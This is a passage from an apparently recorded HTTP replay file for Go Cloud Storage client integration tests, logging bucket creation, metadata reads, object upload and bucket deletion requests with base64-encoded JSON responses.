W0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiI2MCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI1OjU2LjM3NFoifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9" - } - }, - { - "ID": "7de8d497e7e1a76c", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0015?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2517" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:57 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:57 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up3mjbvLxwRDDhjg8GTGBNcJM7EraDydPsmD77oQcyYYGVlQnUqg0NQbezf4KQOoOHoEnC9jMR052e0olW3qi9KdAi4-qJEiKGI1rGivb5hnJnmU5o" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU2LjM3NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1Ni4zNzRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiI2MCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI1OjU2LjM3NFoifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9" - } - }, - { - "ID": "3876040740117531", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0015?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:57 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqGdmh-XzrU5d5VwRugwWr452hENxpWf1sEtNCDaGksLJ1taCgnEjL_0oAlELqirqyXLlw-frE8LYo1V37Pk1G3qvWGk9E1iSZV7uECOjsdE3JagK8" - ] - }, - "Body": "" - } - }, - { - "ID": "39fb456e528c7081", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0014?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:57 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqKcAQsTdqHfiXj71c5kivJTwCNhY6xUQpZtaxywsmr1kNG5_MdJBsOvuLVbDSHKRIsG9tDxk_9Gz-7zaqP_pqke1aqKOFg9NeCU4ZqfjD0SBy0Q5Q" - ] - }, - "Body": "" - } - }, - { - "ID": "3fdacef865a6fc39", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0013?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:58 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur0PIkQTUvOl8-6tC08mwiS3nBPydo1OYUeD6Q46ZrU6VkmpRwxc9MikGqJlsejuGZkyY_aaxUVKYGREjOF363tfkbII3of6pGFuQ8rINOf8uFV5ts" - ] - }, - "Body": "" - } - }, - { - "ID": "2da48fa864dd9efe", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0012?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:58 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoWkbW_2n8KvRkdk7Lh_5eOVBjW6JvoW0i9LNQUHM-Df2H1QIbUYIwFnUGLt-bPfFa46Ur-v8Q76mU24KpjW7WIC_HVq4Q5H96pRYk7I6ggUsckTs0" - ] - }, - "Body": "" - } - }, - { - "ID": "3ef26f9548e0aec4", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0011?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:59 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqZfOfnhYy6nk2TxHz3h1eMu_0KlczCaOb-xcAIBRoRgxk7Q67BqsT5fvb-vAky2phYzQWNHLTk-0T8V2tpPY4Hg23Ub9evuo6_YEndEVdiBRhTcFI" - ] - }, - "Body": "" - } - }, - { - "ID": "8f3abbeca307cc5a", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "574" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:59 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqdSQK1TuFGAgs143LV6RLNjzfrsAl5vt-Jb_RQ4dcVGDzK8I29sKKrPmcY0rLIJuVIQar3mdRGhNLhqXp2xCKli28TFq4rtsIgiA4DxCtdVbajIhY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU5LjM2NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1OS4zNjRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiOTAwMDAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo1OS4zNjRaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "bb92a1c4ecd9e884", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0016/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoic29tZS1vYmplY3QifQo=", - "aGVsbG8gd29ybGQ=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3315" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:00 GMT" - ], - "Etag": [ - "COup9/Lx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrRoCa6t1nTWVUrdfIXfyxZBI6PKBkzO24svoJRDEYMEsduIrzBpdDiX8mIUWSxcL8-pSRZgcDvy9_iHKpoVbiUNt4QhlG7zosGpa3WOk--YlBxjeM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdC8xNTU2ODM1OTU5OTUyNjE5Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L28vc29tZS1vYmplY3QiLCJuYW1lIjoic29tZS1vYmplY3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk1OTk1MjYxOSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo1OS45NTJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NTkuOTUyWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjU5Ljk1MloiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoiWHJZN3UrQWU3dENUeXlLN2oxck53dz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9vL3NvbWUtb2JqZWN0P2dlbmVyYXRpb249MTU1NjgzNTk1OTk1MjYxOSZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdC8xNTU2ODM1OTU5OTUyNjE5L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9vL3NvbWUtb2JqZWN0L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTU5OTUyNjE5IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPdXA5L0x4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdC8xNTU2ODM1OTU5OTUyNjE5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvby9zb21lLW9iamVjdC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NTk5NTI2MTkiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3VwOS9MeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvc29tZS1vYmplY3QvMTU1NjgzNTk1OTk1MjYxOS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE2L28vc29tZS1vYmplY3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYiLCJvYmplY3QiOiJzb21lLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTU5OTUyNjE5IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPdXA5L0x4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNi9zb21lLW9iamVjdC8xNTU2ODM1OTU5OTUyNjE5L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTYvby9zb21lLW9iamVjdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNiIsIm9iamVjdCI6InNvbWUtb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NTk5NTI2MTkiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5n